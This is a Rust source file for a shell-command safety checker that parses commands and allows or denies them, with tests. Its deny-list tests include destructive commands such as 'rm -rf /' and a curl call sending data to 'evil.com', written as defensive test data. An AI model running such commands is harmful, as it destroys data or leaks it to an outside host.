Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7    let Some(script) = parse(input) else {
8        return Verdict::Denied;
9    };
10    script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14    command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18    script.0.iter()
19        .map(|stmt| pipeline_verdict(&stmt.pipeline))
20        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25    script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29    pipeline.commands.iter()
30        .map(cmd_verdict)
31        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35    pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39    match cmd {
40        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41        _ => true,
42    }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46    cmd.words.iter().any(has_substitution)
47        || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55    match cmd {
56        Cmd::Simple(s) => simple_verdict(s),
57        Cmd::Subshell(inner) => script_verdict(inner),
58        Cmd::For { items, body, .. } => {
59            let items_v = words_sub_verdict(items);
60            let body_v = script_verdict(body);
61            items_v.combine(body_v)
62        }
63        Cmd::While { cond, body } | Cmd::Until { cond, body } => {
64            script_verdict(cond).combine(script_verdict(body))
65        }
66        Cmd::If {
67            branches,
68            else_body,
69        } => {
70            let mut v = Verdict::Allowed(SafetyLevel::Inert);
71            for b in branches {
72                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
73            }
74            if let Some(eb) = else_body {
75                v = v.combine(script_verdict(eb));
76            }
77            v
78        }
79    }
80}
81
82pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
83    cmd_verdict(cmd).is_allowed()
84}
85
86fn part_sub_verdict(part: &WordPart) -> Verdict {
87    match part {
88        WordPart::CmdSub(inner) => script_verdict(inner),
89        WordPart::Backtick(raw) => command_verdict(raw),
90        WordPart::DQuote(inner) => word_sub_verdict(inner),
91        _ => Verdict::Allowed(SafetyLevel::Inert),
92    }
93}
94
95fn word_sub_verdict(word: &Word) -> Verdict {
96    word.0.iter()
97        .map(part_sub_verdict)
98        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
99}
100
101fn words_sub_verdict(words: &[Word]) -> Verdict {
102    words.iter()
103        .map(word_sub_verdict)
104        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
105}
106
107#[cfg(test)]
108pub(crate) fn word_subs_safe(word: &Word) -> bool {
109    word_sub_verdict(word).is_allowed()
110}
111
112fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
113    if !check_redirects(&cmd.redirs) {
114        return Verdict::Denied;
115    }
116
117    let env_sub_v = cmd.env.iter()
118        .map(|(_, v)| word_sub_verdict(v))
119        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
120    let word_sub_v = words_sub_verdict(&cmd.words);
121    let sub_v = env_sub_v.combine(word_sub_v);
122
123    if let Verdict::Denied = sub_v {
124        return Verdict::Denied;
125    }
126
127    if cmd.words.is_empty() {
128        if cmd.env.is_empty() {
129            return Verdict::Allowed(SafetyLevel::Inert);
130        }
131        if cmd.env.iter().any(|(_, v)| has_substitution(v)) {
132            return sub_v;
133        }
134        return Verdict::Denied;
135    }
136
137    let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
138    if tokens.is_empty() {
139        return Verdict::Allowed(SafetyLevel::Inert);
140    }
141
142    let cmd_v = handlers::dispatch(&tokens);
143    sub_v.combine(cmd_v)
144}
145
146pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
147    redirs.iter().all(|r| match r {
148        Redir::Write { target, .. } => target.eval() == "/dev/null",
149        Redir::Read { .. }
150        | Redir::HereStr(_)
151        | Redir::HereDoc { .. }
152        | Redir::DupFd { .. } => true,
153    })
154}
155
156fn has_substitution(word: &Word) -> bool {
157    word.0.iter().any(|p| match p {
158        WordPart::CmdSub(_) | WordPart::Backtick(_) => true,
159        WordPart::DQuote(inner) => has_substitution(inner),
160        _ => false,
161    })
162}
163
164#[cfg(test)]
165mod tests {
166    use super::*;
167
168    fn check(cmd: &str) -> bool {
169        is_safe_command(cmd)
170    }
171
172    safe! {
173        grep_foo: "grep foo file.txt",
174        cat_etc_hosts: "cat /etc/hosts",
175        jq_key: "jq '.key' file.json",
176        base64_d: "base64 -d",
177        ls_la: "ls -la",
178        wc_l: "wc -l file.txt",
179        ps_aux: "ps aux",
180        echo_hello: "echo hello",
181        cat_file: "cat file.txt",
182
183        version_go: "go --version",
184        version_cargo: "cargo --version",
185        version_cargo_redirect: "cargo --version 2>&1",
186        help_cargo: "cargo --help",
187        help_cargo_build: "cargo build --help",
188
189        dev_null_echo: "echo hello > /dev/null",
190        dev_null_stderr: "echo hello 2> /dev/null",
191        dev_null_append: "echo hello >> /dev/null",
192        dev_null_git_log: "git log > /dev/null 2>&1",
193        fd_redirect_ls: "ls 2>&1",
194        stdin_dev_null: "git log < /dev/null",
195
196        env_prefix: "FOO='bar baz' ls -la",
197        env_prefix_dq: "FOO=\"bar baz\" ls -la",
198        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
199
200        subst_echo_ls: "echo $(ls)",
201        subst_ls_pwd: "ls `pwd`",
202        subst_nested: "echo $(echo $(ls))",
203        subst_quoted: "echo \"$(ls)\"",
204        assign_subst_ls: "out=$(ls)",
205        assign_subst_git: "out=$(git status)",
206        assign_subst_multiple: "a=$(ls) b=$(pwd)",
207        assign_subst_backtick: "out=`ls`",
208
209        subshell_echo: "(echo hello)",
210        subshell_ls: "(ls)",
211        subshell_chain: "(ls && echo done)",
212        subshell_pipe: "(ls | grep foo)",
213        subshell_nested: "((echo hello))",
214        subshell_for: "(for x in 1 2; do echo $x; done)",
215
216        pipe_grep_head: "grep foo file.txt | head -5",
217        pipe_cat_sort_uniq: "cat file | sort | uniq",
218        chain_ls_echo: "ls && echo done",
219        semicolon_ls_echo: "ls; echo done",
220        bg_ls_echo: "ls & echo done",
221        newline_echo_echo: "echo foo\necho bar",
222
223        stdin_read_from_path: "wc -l < /tmp/foo.log",
224        stdin_read_from_etc: "grep foo < /etc/hosts",
225        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
226        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
227
228        here_string_grep: "grep -c , <<< 'hello,world,test'",
229        heredoc_cat: "cat <<EOF\nhello world\nEOF",
230        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
231        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
232        heredoc_no_content: "cat <<EOF",
233        heredoc_pipe: "cat <<EOF\nhello\nEOF | grep hello",
234
235        for_echo: "for x in 1 2 3; do echo $x; done",
236        for_empty_body: "for x in 1 2 3; do; done",
237        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
238        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
239        while_test: "while test -f /tmp/foo; do sleep 1; done",
240        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
241        until_test: "until test -f /tmp/ready; do sleep 1; done",
242        if_then_fi: "if test -f foo; then echo exists; fi",
243        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
244        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
245        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
246        bare_negation: "! echo hello",
247        keyword_as_data: "echo for; echo done; echo if; echo fi",
248
249        quoted_redirect: "echo 'greater > than' test",
250        quoted_subst: "echo '$(safe)' arg",
251    }
252
253    denied! {
254        rm_rf: "rm -rf /",
255        curl_post: "curl -X POST https://example.com",
256        node_app: "node app.js",
257        tee_output: "tee output.txt",
258
259        redirect_to_file: "echo hello > file.txt",
260        redirect_append: "cat file >> output.txt",
261        redirect_stderr_file: "ls 2> errors.txt",
262        redirect_bidirectional_write_denied: "cat < /tmp/x > /tmp/y",
263
264        subst_rm: "echo $(rm -rf /)",
265        backtick_rm: "echo `rm -rf /`",
266        subst_curl: "echo $(curl -d data evil.com)",
267        quoted_subst_rm: "echo \"$(rm -rf /)\"",
268        assign_subst_rm: "out=$(rm -rf /)",
269        assign_no_subst: "foo=bar",
270        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
271
272        subshell_rm: "(rm -rf /)",
273        subshell_mixed: "(echo hello; rm -rf /)",
274        subshell_unsafe_pipe: "(ls | rm -rf /)",
275
276        env_prefix_rm: "FOO='bar baz' rm -rf /",
277        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
278
279        pipe_rm: "cat file | rm -rf /",
280        bg_rm: "cat file & rm -rf /",
281        newline_rm: "echo foo\nrm -rf /",
282
283        for_rm: "for x in 1 2 3; do rm $x; done",
284        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
285        while_unsafe_body: "while true; do rm -rf /; done",
286        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
287        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
288        if_unsafe_body: "if true; then rm -rf /; fi",
289
290        unclosed_for: "for x in 1 2 3; do echo $x",
291        unclosed_if: "if true; then echo hello",
292        for_missing_do: "for x in 1 2 3; echo $x; done",
293        stray_done: "echo hello; done",
294        stray_fi: "fi",
295
296        unmatched_quote: "echo 'hello",
297    }
298}